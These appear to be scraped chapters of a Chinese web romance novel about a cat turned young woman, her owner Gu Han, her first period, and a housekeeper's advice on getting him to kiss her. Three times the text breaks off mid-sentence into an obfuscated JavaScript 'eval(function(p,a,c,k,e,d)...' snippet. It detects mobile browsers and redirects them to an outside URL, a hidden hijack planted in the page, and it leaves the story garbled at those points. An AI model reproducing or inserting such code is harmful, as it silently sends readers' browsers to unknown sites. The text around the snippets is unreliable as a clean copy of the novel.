顾凝恬拿着蜡笔在纸上涂涂画画,熠熠生辉的蓝眼珠暗淡下来,从胸腔郁闷地呼出一口气,丝毫没注意到自己的身后,男人正微微俯身盯着她。 “你老偷偷看我,干什么呢?” 突如其来的声音把顾凝恬吓了一大跳,她慌慌忙忙地把画纸一股脑收起来才转过身与顾涵对视,她不自然地咽了咽唾沫,又摇了摇头。 “怎么了?”顾涵揉揉她的下巴,像是以前撸她猫下巴时候一样,软糯的手感让顾凝恬舒舒服服地眯上了眼睛,她双手握住顾涵的手腕,把侧脸贴在他的手背蹭蹭。 “我看看你画了什么……” 顾涵说着就要伸手去拿桌面上的画,顾凝恬一惊,立时睁开眼,手忙脚乱地把画揉成一团抱在自己的肚子面前,腾一下站起身,穿上她的毛毛鞋,一溜烟地跑向门口,边跑边说:“困困……睡觉。” 滑腻的触感从手掌处消失,顾涵怔愣一瞬,白色身影已经跑出了房间。 顾凝恬回到自己房间后关上门,后背依靠在门背深深呼出一口气。 好险啊,差点就被主人发现了。 她小心翼翼地把纸团揉开,平铺在自己的梳妆台上,吊灯灯光洒在纸上的两个小人身上,他们正深情拥吻着——顾凝恬趴在桌面,食指在小人的脸上轻轻一抹。 哎。 还是算了,主人都不让她亲他,不过这到底是为什么呢,为什么别人可以亲亲,她不可以亲他呢? 猫猫想来想去都不懂,最后只能把画画折起来,用台灯压住不让风吹跑,然后躺在床上抱着她的玩偶,迷迷蒙蒙地睡了过去。 顾涵觉得今晚的顾凝恬有点奇怪,但是也并未多想,以为她作为一只小猫儿,和真正的人类女孩确有地方不一样。他重新翻开《西南异事》继续看着,一直读到深夜才把书读完。 他狠狠闭眼,用眼过度的酸涩感涌了上来。 在这本书里,所有动物化形之后的下场都可以用惨烈来形容,几乎没有善终。同时他也总结出了一个规律,就是这些动物化形的原因全都不一而足,但殊途同归的是,它们都是心中怀着一股执念而成人的。 有的是为了爱情,有的是为了血缘,有的是为了复仇。 那他的猫猫呢?又是心里怀揣着什么想法才变成了人? 会是为了,留在他的身边吗? 顾涵想起了当时猫猫被别人收养之后又跑回来的事,相隔那么远,十几公里,他都不知道她是怎么找到回来的路的。她那么小一只,也就比他的巴掌大一点,在马路上跑来跑去,中途那么多车,稍不留意就会把她撞死。流浪在街头,没有干净的水也没有干净的食物,她也许要和别的猫抢食才有活下来的机会,所以她才会营养不良。 无来由的内疚感将顾涵团团笼罩,宛如乌云盖顶一般让他喘不过气。他靠入椅背,喉咙发紧,双眼无神地盯着虚空中的一点,灰尘在灯光的照耀下在空中飞舞。 说不清道不明的害怕在逐渐发酵,并占据了他的心房。他能保护好猫猫吗,会不会有一天,她也会被什么人给抓走,或者镇压,或者被杀? 她会不会被那些人认为是妖怪?对她赶尽杀绝? 他要怎么做才能把猫猫保护好? 《西南异事》对他的这个疑问没有给出答案,毕竟里面故事的主人公全都非死即伤……或者,他把猫猫藏起来,藏一辈子,这样就不会有人发现她的异常。 窗外夜色从浓墨转化成深露,路灯在薄雾中晕开一圈又一圈的光晕,像是被打湿的水彩画。偶尔有夜归人的脚步声,在寂静中激起细小的涟漪,又很快归于平静。 顾涵不知道自己这样独自呆了多久,当他再抬起头时,月亮已经西斜,繁星隐去,鱼肚白在天边若隐若现。 他眨眨眼,酸涩感更重了一点,手心也不知道在什么时候浮出一层薄汗,食指按压在眉心,勉强舒缓了点紧绷感。他站起身朝着顾凝恬的房间过去,轻轻推开门,房内的落地夜灯正开着,昏黄色的灯光洒在女孩安睡的侧脸。 顾涵走到床边,女孩抱着她的棉花玩偶睡得正安稳,白色长发散乱在枕头,睫毛一颤一颤,呼吸平稳而均匀。他伸手将挡在她鼻子上的那根长发挪开,帮她把被角掩好,坐在她旁边的床沿,深邃的目光将她紧紧凝视。 看她睡得这般舒服,顾涵的内心彷佛是一艘靠岸的船,温暖的安心感充盈着他的身体,让他方才沉重的思绪被尽数摒弃。 就这样也挺好。 不谙世事,单纯,活泼,灵动,小猫咪原本不就是这样的吗?他其实也没必要硬要将她往社会化的程度上推,他有钱有能力,可以给她提供优质的生活,让她一辈子不出门不上班都行,她要是嫌弃这别墅太小,他还可以换一套更大的,再挖个游泳池,让她夏天的时候可以游泳。又或者挖个鱼池,让她没事就下水摸鱼玩, 只要她能一直平平安安地呆在他身边就好。 顾涵从床边躺进去,手臂一伸,搂住顾凝恬的腰将她往怀里带,下巴贴在她的后颈,清雅的体香充斥着他的鼻腔,难以言喻的满足感从心底升起。 就这样决定吧。 他轻吻着女孩的额头,与她一同沉入梦乡。 顾凝恬是被热醒的。 她皱皱眉,无意识地从被窝里伸出手臂想要凉快点,可是她的肩膀怎么这样沉?她扭了扭胳膊,转了转脖子,终于挣扎开来,得到了一丝凉爽的空气擦过脖颈。她缓缓睁开眼睛,眼前的一幕让她惊愕两秒才反应过来, 她正窝在顾涵的怀里,双手紧紧抱着他的肩膀。怪不得刚才那么沉呢,可是……主人怎么跟她睡到一起了?她昨晚明明是一个人睡的,他是什么时候来的呢? 顾凝恬盯着眼前沉睡的男人看着,他额前的黑色发丝微显凌乱,双眼紧闭,长睫如扇轻覆其上??,沉静的眉眼在此刻褪去了日间的锐利,变得静谧柔和。 他闭合的嘴唇红润有光泽,唇线清晰,透着莫名的诱惑。 “顾涵?”顾凝恬轻轻地唤他一声,又伸手在他的眼前晃来晃去。 没反应?好像还没睡醒? 一个大胆的念头由此产生——顾凝恬怯生生地用拇指按住顾涵的嘴唇,在上面摸了摸。嗯,和她想象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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回到主卧洗漱完换好衣服,顾涵穿着一身利落的衬衫西裤下楼,桃桃正在厨房忙活着,门铃被人按响了。 顾涵落座沙发之后,按下遥控器把入户门打开,来人果然和他预料的一样,是钟博明,他搬着一个箱子进来,放在了茶几面上。 “呼。”他喘了口气,摸了摸额头上的汗:“都按您的要求买好了,画具和颜料,都是找的顺港大学美术系要来的同款。” “辛苦了。”顾涵打开箱子看了眼,装备很齐全,够猫猫挥霍好一阵的了。 钟博明轻车熟路地到顾涵冰箱那里拿出瓶冰水喝,瞧见厨房有个陌生的女人时,他顿了顿,接着回到顾涵面前,压低声音问道:“涵哥,哪位是谁啊?” 顾涵翻看着画具,面色平静地说:“新请来的营养师。” 钟博明哦了一声,很快又意识到不对劲,他在顾涵身边工作这么久,很清楚他的为人,怎么会莫名其妙地请营养师?难不成是上回那个白发女孩? 他挑挑眉,对着顾涵问:“涵哥,芸姐说你带女朋友去公司了,藏这么紧,都不带出来给我们看看。” 顾涵抬起头看他:“你很闲?要不要把你派去非洲打灰?” “别!”钟博明瞬间站直腰,举起双手做投降状:“你就当我什么都没说好了。”他拧开冰水喝了一大半后,坐在顾涵的对面:“对了,我刚刚收到消息,公司中标了新项目,甲方那边要求你本人出现场。” 27. 喵 “项目材料已经在准备了,快的话,下周就可以安排出差行程。”钟博明说完,见顾涵一反常态地沉默着,有些不解,问道:“怎么了涵哥?有什么问题吗?” “无事。”顾涵淡淡回应,面上不分喜怒。 从前他只有一个人的时候,经常天南地北地出差,根本不觉得有什么,反而他喜欢这样的生活,可以去不同的城市感受不一样的人文风情,了解不一样的文化习俗,他将这些见闻记录下来,杂糅磨合成为自己独有的设计风格。 曾经这样的生活是他的一切。 但现在一切都不一样了。 他有了猫猫,有了牵挂,就不想再和以前一样奔波,只想停留在这个地方做她的避风港。 临走前,顾涵特意来到桃桃的跟前跟她说:“恬恬还在睡觉,再有半小时麻烦你去叫她起来吃早餐,别让她继续赖床。” “好。” 与顾涵告别后的顾凝恬,舒舒服服地缩进被窝闭上了眼睛,睡得迷迷糊糊间,不知怎么的,小腹突然冒出了一股尖锐的疼痛,一种陌生的坠落感在她的肚子作祟,彷佛有什么东西在里面翻云覆海地搅拌着。 “唔……”她蜷缩成一团,手指无意识地抓住被子,骨节泛白,额头渗出了细密的汗珠。这种疼痛她从未经历过,忍不住发出低低的呜咽声。 痛,好痛,真的好痛,陌生的下坠感让顾凝恬隐隐有种想上厕所的欲望,她强撑着直起腰,哆哆嗦嗦地迈开腿从床边下去,结果脚刚碰到地面,一股热意便缓缓顺着她的大腿流了下来,滴在了地板上。 鲜红色的血晕染在床单上,也凝固在了地面,醒目又刺眼。顾凝恬震愕在了原地,颤抖着肩膀,惊慌地嘟囔着:“怎、怎么会这样,血……” 对于猫来说,流血是一种不好的象征,经常有流浪猫在和别的猫打完架后流血,没几天就死掉了。 晶莹泪珠从蓝色眼眶中不断涌出,绝望的情绪将顾凝恬团团笼罩着,她僵硬着坐下床,颤抖着手去够床头柜上的手机,拨通她早已熟记于心的号码。 电话只响了一声就被接起了,清润的男声从听筒传来:“喂?” 顾凝恬紧抓着手机,呜呜地哭了起来,想到自己准备死了,她好舍不得顾涵,拼命想说点什么,可吱吱呀呀地说出口时,却是泣不成声。 “恬恬?你在哭?发生什么事?” 顾凝恬哭的上气不接下气,断断续续的话语无法拼凑出她的意思——顾涵中断会议,从会议室快步走出回到自己的办公室,拿起另一台备用的手机打给家中的桃桃。 “桃桃,帮我到恬恬的房间看看她是出什么事了!” “噢噢好,我这就去。”桃桃不敢耽搁,三两步冲到二楼来到顾凝恬的房间门口敲门:“顾小姐,你怎么了,顾小姐?” 没人应答,但能听到很明显的哭泣声。桃桃试着扭动门把手,门开了,顾凝恬蜷缩在床上抱着被子,满脸泪痕地抽噎,地上有一小团血迹。 桃桃额头一跳,赶忙上前查看顾凝恬是不是受伤了,发现血迹的起源地是她的腿根后,才猛地松出一口气,扶着她坐起来,用纸巾给她擦冷汗:“没事的,你这是来月经了,不要怕,我带你去洗手间处理一下。” 顾凝恬泪眼朦胧地看向她,满是糊涂地吸吸鼻子。 桃桃沉吟着打量她。这位顾小姐的年纪看上去在二十岁左右上下,但是行为表达又像是个小孩子一样,对社会化的规则一无所知,浑身上下充满灵气,宛如与世隔绝的仙女第一次下凡,尝到了人间疾苦。 虽然奇怪,但她签了保密协议,上面的条款清晰地写着不允许打听雇主的事。 桃桃耐心解释:“月经是每个成年的女孩子都会有的,每个月一次,这是身体健康的象征,别哭,没事的。” 她在衣柜里翻找出干净的内裤和睡裙,想拉顾凝恬进卫生间,却发现她额头一直在渗冷汗,嘴唇苍白,膝盖发软连站都站不直。 她伸手摸了摸顾凝恬的小腹,轻声问:“是不是这里痛?” 顾凝恬吃力点头。 她痛的眼前一阵发白,连桃桃跟她讲话的声音都模糊了半分。 桃桃带着她进卫生间处理好后,又马不停蹄地从医疗箱中找出止痛药,让顾凝恬就着白开水吃下去。 “吃了药就不会有那么痛了。”桃桃拿来热毛巾给顾凝恬擦脸,把她脸上的泪痕和冷汗通通擦干净,坐在看着她有气无力地点头,这时她才发现,虽然顾凝恬皮肤白皙,但细细看下来,她的脸颊很干燥,甚至都有点起皮。 桃桃四下看看,打算在梳妆台拿个面霜或者什么给她抹一下,没想到梳妆台上除了一盏台灯和一张画纸之外就什么都没有了,崭新的就像是刚买回来的一样。 怎会这样?这个年纪的女孩不是应该最爱美了吗?就算不爱化妆没有化妆品,但是护肤品得有吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124967|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是太奇怪了,她是刚住进来的吗?她还以为顾小姐和顾先生,是一对同姓的情侣。 桃桃满腹狐疑地从房间出来,打算下楼拿自己的包包,把自带的保湿霜给顾凝恬用一下,结果刚出门口就迎面撞上了赶回来的顾涵。 他头发凌乱,连衬衫的扣子都掉了一颗,脚步匆匆面色着急,桃桃把他拦下来:“没事没事,别担心,顾小姐是月经来了,痛经很严重,我刚给她吃过止痛药,现在睡了。” 顾涵重重闭眼,仰靠在墙面喘匀呼吸。 当他在手机里听到顾凝恬的哭声时,他把一万种不好的事都想了一遍,还以为《西南异事》上的故事结局会发生在他身上。 “谢谢。”他对桃桃说,心情平静下来后,他握住门把手准备进去,桃桃盯着他的动作眼神犹豫,最终还是没忍住喊了他一声。 “顾先生。” 顾涵疑惑回头。 桃桃眼中闪过一丝尴尬:“顾小姐的皮肤很干燥,都起皮了,你看看要不要给她买点护肤品涂涂?” “嗯?”顾涵怔住动作,很快反应过来桃桃说了什么。 他恍惚了一下,作为一个对护肤品毫无概念的男人,他根本没想起来娇娇嫩嫩的女孩子会需要用到这些,“好……那麻烦你帮忙置办一些,回头把账单发给我。” “没问题。”桃桃利落答应。 床上鼓起细细一条,女孩皱紧眉心,睡得并不安稳,手指无意识地紧缩在一起,抓着被沿。顾涵伸手抚在她的手背上,温暖的触感让女孩冷静了下来,呼吸声也趋于平稳。 男人和女人之间有着天然的生理隔阂,他很多考虑的出发点都是站在男本位上思考,缺少女性的细节和柔情,今天这样的情况如果不是桃桃在场,那猫猫得有多害怕?她打电话给他的时候那么语无伦次,是不是以为自己准备死了,想跟他交代后事? 傻孩子。 顾涵捏了捏顾凝恬的鼻尖。怕力道太重会将她惊醒,他没再继续逗留,给她盖好被子之后就出去了,让她好好休息。 今天这么一折腾,也没必要到公司坐班了,顾涵正打算到书房处理工作,听到桃桃来喊他。 “顾先生,有人找。” 客厅里,桃桃给叶蔓倒了杯热茶,见到顾涵的身影后,叶蔓说:“刚去公司找你,你助理说你回家了。” 顾涵不紧不慢地打招呼:“嗯,临时有点事,怎么了?” 28. 喵 他坐下叶蔓对面的沙发,与她面对面,发现她的眼神不停地往二楼方向看去,眼底闪烁着不寻常的兴奋。 “你女朋友是和你一起住吗?”她说。 顾涵轻轻点头,迎上了叶蔓的目光:“嗯,您有事找她?” 叶蔓兴冲冲地对着顾涵说道:“是啊,上回她不是在顺港大学留下了一幅画吗,我把它展示在展馆的外立面,结果被收藏家看中了,要买。” 惊讶滑过顾涵的眼底,消失不见的同时,深邃眸色重新变得波澜不惊,他换了个坐姿,眉眼舒展:“是么,挺意外的。” 叶蔓继续说:“对啊。没想到凝恬第一次接触岩彩画就能画的这么好,若是加以培养,日后的成就肯定了不得。所以我这次前来,就是想问问她,愿不愿意来顺港大学进修岩彩画,我想收她为徒。” 顾涵垂眼,把看不见的挣扎掩盖下来。 叶蔓在岩彩画领域内声名远扬,是知名艺术家,无数莘莘学子都梦想着有一日能拜她为师,这个机会若换作是旁人,早就兴奋的要起飞了。 可是顾凝恬的情况不一样。 他不能让她频繁出现在人前,万一有人认出她不是人,是一只猫,到时候对她下毒手怎么办?就像是《西南异事》上面记载的故事一样,被封印,被封禁,被活埋…… 这些可怕的猜测只不过是从脑海里溜了一圈而已,他就已经开始心悸了,就是像是有什么在身体里抽动着他的神经,让他的五脏六腑都痛了起来。 “她今天不舒服,在房间休息,这样吧,我把您的这个想法跟她说一下,看看她答不答应。”顾涵平静地说。 “她不舒服吗?怎么了,没事吧?”叶蔓急着追问,顾涵淡淡回答:“没事,休息一两天就好了。” “喔……”叶蔓沉吟片刻:“这样的话也没办法了,先让她好好休息,等过几天我再来探望她。” “好。”顾涵起身将叶蔓送出门,临走前,叶蔓还不忘嘱咐顾涵,等顾凝恬好点之后马上告诉她,她再来问问她的意见。 “我是真的很想收她为徒啊。”叶蔓喜溢眉梢,语气里充满了赞赏之意:“凝恬真的很有天赋,不往绘画这一块深造的话就太可惜了。” 顾涵目送叶蔓的车子驶离,才转身回到别墅。 他迈着沉重的步伐,穿过客厅和走廊,上到二楼,顿住脚步站在顾凝恬的房间前。眉眼冷沉,如阴霾压顶一般,笼罩着一股化不开的寒气。 叩叩—— 他抬手敲了两下,在进去之前,换上了另一幅柔和的面孔。 被窝里的小猫已经醒了,正半坐起身,睁着她迷茫的眼睛,看来顾涵进来之后瞬间委屈巴巴,朝着他张开双手。 “好点没?”顾涵在她身旁落座,就着她的姿势抱了抱她,捏了捏后颈给她放松,拿枕头垫在她的后腰让她可以舒服一些。 “顾涵,痛痛。”顾凝恬皱着眉宇说,指了指自己的腰腹位置。 她从来没试过这么痛,像是有人把手伸进了她的肚子,要把里面的什么东西硬生生地拿出来一样,痛到根本直不起腰。她以前和别的流浪猫打架,打输了也没试过这么痛的,还以为自己要死了。 “没事的,过一两天就会好的了,这是正常的生理反应。”顾涵单手搂着顾凝恬的肩膀,用另一只空着的手去揉她的肚子,轻轻的,掌心的温度逐渐让顾凝恬舒服地眯起了眼睛,安心地靠在顾涵的手臂上。 “顾涵、顾涵……”顾凝恬一边喊着顾涵的名字,一边歪着头往他的怀里倒去,眉开眼笑,然后又坐起来正面环住顾涵的腰。 “怎么了?”顾涵低头凝视着她。 顾凝恬摇了摇头,满足地把鼻子贴在他的胸口,吸取他的气味。她很开心顾涵来陪着她,虽然她仍旧不懂这是怎么了。 顾涵深邃的眼神逐渐暗淡了下来,喉间滚动两下,千言万语堵在他的胸口,令他有口难言。 紧抱着他的女孩这么天真单纯,对什么人都不设防。他怎么能放心让她在公众面前露脸?学校人多眼杂,指不定什么时候会被有心之人发现她的身份,将她掳走。 至于叶蔓…… 虽然机会难得,但和顾凝恬的生命安全比起来,这都算不了什么。她要是想画画,他可以专门请家教上门一对一辅导。 顾涵心事重重的模样吸引了顾凝恬的注意。她一眨不眨地盯着顾涵,伸手在他的眉间一按,用纯真的眼神看着他,彷佛在说:“你怎么了?” 顾涵摇了摇头,牵着她的手在她的手背轻轻一吻:“明天我给你请家教老师,你乖乖在家里学习好不好?” 顾凝恬摸了摸下巴,满脸不解。顾涵比划了一下:“就是教你画画。” 顾凝恬哇一声,眼神亮晶晶地拍了拍手。她喜欢画画,她还想画好多好多的画,就像那天一样,她只是随手一画而已,没想到会有那么多的人类围着看她,她还想再去那个地方玩。 见她笑的那么开心,顾涵也被感染了,低头问她:“就这么开心?” “嗯嗯!”顾凝恬点点头,又一头扎进顾涵的胸怀里,手指点点他的心口,又点了点自己的。 “只要你开心就好。”顾涵揉着她的头发,顺着头发一路滑到发尾,银白色的头发在灯光下散发着淡淡流光。 “你休息一下,我去处理一下工作。”顾涵给她叠好枕头让她躺下去。顾凝恬定定地看着他,握住他的手在侧脸蹭蹭。她现在肚子已经不痛了,不太想继续在床上躺着,顾涵走后,她拿手机玩了会儿,看了看短视频,觉得没意思,从床上下来走到阳台外面。 原本她是想出来吹吹风的,结果——有辆黑色的车停在了别墅门口,一个男人从车上走了下来,手里还捧着一束花。 顾凝恬双手攀在栏杆上,伸长脖子想看仔细些,看到桃桃脚步轻快地从别墅跑出来,先是抱住了那个男人,然后两人就开始亲嘴,亲完之后男人把手里的花递给了桃桃。 顾凝恬露出了愕然的表情,木木地眨了两下眼睛,半天合不上嘴巴。这、这、桃桃刚才跟那个男人亲嘴了吗?他们为什么要亲嘴?难道也是跟她一样吗,毕竟她也想亲顾涵的嘴。 可是顾涵不给她亲! 那为什么桃桃可以亲呢?虽然她亲的是另一个男人,但这不是一样的吗,桃桃也是女孩子啊,她为什么可以亲男人呢? 顾凝恬想破了头,万分不解地挠挠自己的后脑,求知欲让她心痒痒,很想知道顾涵为什么不让她亲。 她站在阳台目视着桃桃和那个男人的一举一动,直到男人离开,桃桃非常开心地捧着花进了别墅,她才回过神,有些懵懂地坐在椅子上,瘪着嘴巴。 不行不行,她一定要知道为什么! 顾凝恬站起身,皱着鼻子准备去书房“质问”顾涵为什么不让她亲他,还没走到门口,桃桃端着一个热气腾腾的碗进来了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138802|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是特意给你煮的酒糟汤圆,吃一点,对身体有好处的。” 桃桃把碗放下桌面,顾凝恬被这股香甜的气息吸引,凑过来看看碗里是什么,桃桃说:“来,你试试。” 顾凝恬拿起勺子吃了口,软糯的口感让她觉得很新奇,一口吃了两个汤圆,桃桃坐在她旁边,微笑着看她:“我有个和你差不多年纪大的妹妹,她也是痛经痛的很厉害,后来找中医调理了一下,好多了,我觉得你可以试试,或者让顾先生带你去医院检查看看,因为痛的厉害的话,有可能是子宫内膜异位症。” 听她提到顾先生,顾凝恬放下了勺子,方才的思绪也涌了回来,她看了看桃桃,脑子想到了顾涵,突然一个想法冒了出来。 对了,她可以直接问桃桃啊! 她一把握住桃桃的手,晃了晃她:“你、亲亲,我看见了。” “啊,你看到了!”桃桃的双腮立马升起了红晕,有些羞赫地抿抿嘴,小声解释说:“那我是新交的男朋友,他说想看看我在哪里工作,所以……我也没想到他会突然亲我,我也很意外。” 顾凝恬仔细观察着桃桃的表情,发现她眉宇间都是开心的神色,不像是触碰禁忌的样子。她扁扁嘴,越想越觉得顾涵是在骗她,根本就没有男女之间不能亲亲的这种规定。 发现顾凝恬神色不对,桃桃问:“怎么了?” 顾凝恬鼻哼一声,说:“顾涵不让我亲他!可是我想亲。” “啊?”这回轮到桃桃惊讶了,简直有点摸不着头脑。因为据她观察,顾先生对待顾小姐完全就是把她当做女友一样宠着,他们怎么会没接过吻呢? 这…… 眼前的女孩肤白胜雪,鲜妍又活泼,灵动的就像是小仙女似的,顾先生竟然忍得住不碰她?这是什么现代柳下惠啊? 桃桃惊诧地咽咽唾沫,有些不知道自己现在该说什么,顾凝恬吸吸鼻子,委屈地说:“他、他说,女孩子不可以随便亲人,可是、我看到你亲亲了。” 这回桃桃是彻底沉默了。 虽然顾小姐看上去是个大人,但说话做事都有点稚嫩,像是个小孩子,她本来还在猜想,这位顾小姐会不会是一个智商发育不健全的人,现在看来,很有可能是的,不然她怎么会问这种问题? 怀揣着这样的想法,桃桃看向顾凝恬的眼神都带了点同情。 没想到这么好看的女孩子,居然是个低龄儿,也难怪顾先生这么紧张她,肯定是担心以她的智商在外面会被人家欺负。 桃桃挺直腰板,摆出一副大姐姐的模样给顾凝恬科普。 “我跟你说哦。”桃桃板正神色:“顾先生说的没错,女孩子是不可以随便亲人的。但有一种情况除外,那就是爱情。” “爱情就是,你喜欢他,他也喜欢你,你们两情相悦,这样才可以亲亲。”桃桃望着顾凝恬迷蒙的表情:“你明白吗?” 顾凝恬摇摇头,根本无法理解桃桃在说什么,为什么一时可以亲,一时又不可以亲,那她到底能不能亲顾涵? 这下,桃桃可算明白顾涵没有碰她的原因了。 顾凝恬根本就没有爱情这个概念,她对这些事完全不懂,也许她连顾涵的心意都不知道,只是下意识地依赖着他而已。 桃桃微乎可微地叹了口气,用最普通的表述认真道:“爱情就是想一辈子和这个人在一起,只要一想到他心里就会很开心,恨不得天天黏在他身上,永远不分开。” 29. 喵 顾凝恬耳尖一动,眼睛神采奕奕,双肩左右抖了抖,抓紧桃桃的手,对着她猛地点头:“是是是!” 她就是这么想的。 她之所以想变成人,就是因为想一辈子待在顾涵的身边,粘着他贴着他,和他时时刻刻都不分开。 每当她想到顾涵的时候,心中都会升起一股快乐的情绪,很想很想天天都能见到他,把自己发生的所有事都分享给他。 原来这叫做爱情啊! 桃桃笑着按住顾凝恬的手,拍拍她的手背,让她安静下来:“看得出来,你很喜欢顾先生,就是因为喜欢所以你才会想要和他接吻。你问我顾先生为什么不让你亲他,我觉得顾先生之所以这么做肯定有他的理由,也许是他觉得时机不对,又或者他觉得你们之间的感情还没有到这一步。” “总之你放心,顾先生是个做事稳妥的人,他自有他的考量。” “只不过……”桃桃盯着顾凝恬这张纯真的小脸,如此不谙世事,对男女之事一点都不懂,同样都是女孩子,她担心她会吃亏,想了想,说道:“女孩子还是矜持一点比较好,不然男人不懂珍惜。” 矜持是什么?顾凝恬琢磨着这个词语,不懂。 桃桃认真道:“女孩子在恋爱中要高姿态一点,不能让他看扁了,觉得你没了他不行,所以,你不能主动亲他,要等他主动亲你。” “啊!”顾凝恬轻呼一声。脑海中快速幻想出顾涵亲她的场景,满脸通红地嘟嘟嘴:“可是他……” 顾涵真的能主动亲她吗? 她怎么感觉很悬? 桃桃挑了挑眉,靠近顾凝恬的耳朵说:“你可以想办法让他主动亲你呀!” 吃过晚饭后,顾涵到书房处理工作,顾凝恬看着他的背影消失在楼梯口,然后跟着桃桃一起回到房间,换上她给的“装备”。 一套清凉的少女小吊带,上身是吊带白色套衫,下身是百褶裙,长度到屁屁的位置,走动间能露出顾凝恬的纤细长腿。 桃桃给顾凝恬换好衣服后,又仔细地在她的唇上抹了一层粉红色的唇釉,凸显她的气色,接着给她盘了个低矮的丸子头,让她的脸蛋能整个露出来,在这样的妆造之下,粉粉嫩嫩的红唇尤为明显,让人一眼就注意到了。 顾凝恬对着镜子转了一圈,上下唇抿了抿,桃桃满意地看着自己的作品,点了点头:“太好看了,我要是男人的话我肯定要亲爆你。” 顾凝恬嘻嘻一笑,抱住桃桃的腰,在她的侧脸亲了一口:“谢谢桃桃姐姐。” 桃桃按着她的肩膀将她带出门,狡黠地挤眼笑:“去吧去吧,按我说的去做,保证拿下顾先生。” 顾涵洗了个澡之后,随意穿着一件睡袍就来到书房准备修改方案,刚打开电脑,门口挤进来一个小脑袋,正好奇地往他这边看。 白色的毛绒绒在门缝左右转了转,最后把目光定格在了他身上。 “嗯?”顾涵好笑着看她,小猫偷偷摸摸想干嘛? 顾凝恬紧张地咽了咽唾沫,推门走了进来。 桃桃说,女人最诱惑的境界,不是直接脱光衣服给男人看,而是犹抱琵琶半遮面。 虽然她不知道为什么要用油去爆琵琶,但是道理她听懂了,意思是若隐若现才会招人喜欢。 “咳咳……”她假模假样地清清嗓子,搬了张椅子坐在顾涵的旁边,然后贴近他,靠在他的手臂上。顾涵侧头看她,嗓音低沉:“怎么了?” 顾凝恬扭扭腰,睁着她宝蓝色的眼睛注视着顾涵,用下巴去蹭顾涵的手臂。她闪着粉调的红唇在灯光下异常亮眼,紧紧锁住了顾涵的视线,他长臂一伸,勾住女孩的腰,稍稍一用力就将他整个人都抱了起来,搂到自己的大腿上。 他把顾凝恬肩头下滑的吊带给提了上来:“衣服是怎么回事?桃桃给你的?” 顾凝恬没有隐瞒,大方承认了,娇嫩的嘴巴一张一合:“桃桃姐姐送给我的,说这样好看。” 嗯,确实很好看。 顾涵的眸色暗了几分,滚烫的热意不停地翻涌在他的胸口,女孩沐浴之后的清雅气息就像是给空气注入了春-药,令他的大脑宕机,磨灭了思考力。 他深呼吸着,给自己找回自控力。动了动大腿,让女孩坐的舒服些。 顾凝恬双手攀上顾涵的脖子,食指在他的侧脸慢慢拂过,接着滑到他的嗓子,落在他开阔的胸肌之上,用指腹在上面画圈圈。 肌肤相贴的触感让顾涵忍不住喉结上下滚动,他一把抓住顾凝恬作乱的小手,哑着嗓子问她:“你想做什么?” 顾凝恬没说话,攀着他的脖子把脸埋在他的肩窝处,故意把呼吸都洒在他的耳廓里。温热的气息扫过顾涵后颈的时候,他整个人都酥了,像是一道静电在他的皮肤上迅速滑过。 他握着顾凝恬的后脑让她抬起头。 她用水汪汪的眼睛看着他,一眨一眨,像是天空中的钻石坠入深蓝绸缎。 他情不自禁地低下头,鼻尖碰到了女孩的侧脸。陌生的触感让顾涵瞬间回 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她今天打扮得这么好看,顾涵竟然都没有亲她! 桃桃说有爱情的两个人会忍不住互相亲对方。 顾涵是不是对她没有爱情? 他不想天天和她呆在一起,不想像她这样,一辈子和他在一起? 讨厌讨厌,讨厌顾涵! 顾凝恬趴在枕头上,双手握拳往床垫上捶,抒发自己的气闷。就在这时,房门被人推开了,顾涵停顿在门口看了她一眼,随即轻轻叹了口气,有些无奈地坐在她旁边,握住她的肩膀将她整个人翻过来。 “这么趴着想憋死自己?”他温柔地用拇指指腹擦去她眼角的泪花,看到她皱起的可爱小脸,轻笑着捏了捏她的腮帮子。 “你在想什么?说给我听听,如果是生我的气,那我是不是该知道原因?为什么?” 顾凝恬气咻咻地对着他哼声,然后赌气一般钻入被窝,把被子盖在自己的头上。 什么为什么,难道要她告诉他,她想勾-引他主动亲她吗? 虽然这的确是她的动机,可是她才不要告诉他呢! 他不亲就不亲,以后她也不亲他了! 顾涵是个大坏蛋,他讨厌讨厌! “恬恬?”顾涵拉开被子,握住顾凝恬的手肘将她往自己的方向拉,让她的后脑枕在自己的大腿上:“为什么哭?难受?” 30. 喵 顾凝恬双眼紧闭,天花板上的灯光垂直洒在她的面庞,令她的眼皮底下浮现出了两坨光晕。 面对顾涵的询问,她依旧一声不吭,眼泪默默从她的眼角滑落下来,洇湿了她的锁骨,无来由的委屈笼罩着她,心中彭拜的情绪没有宣泄口,唯有让眼泪代为发话。 “嗯?”顾涵俯下身看她,见小猫气鼓鼓地红着脸,小鼻子一吸一吸,晶莹的眼泪顺着耳廓落下在枕巾:“是不是肚子痛?” 顾涵右手放在顾凝恬的后背将她整个托起来,靠在自己的身上,然后用左手轻轻地给她揉肚子:“这样会不会舒服一些?痛的话你要跟我说,不要自己强忍着。” 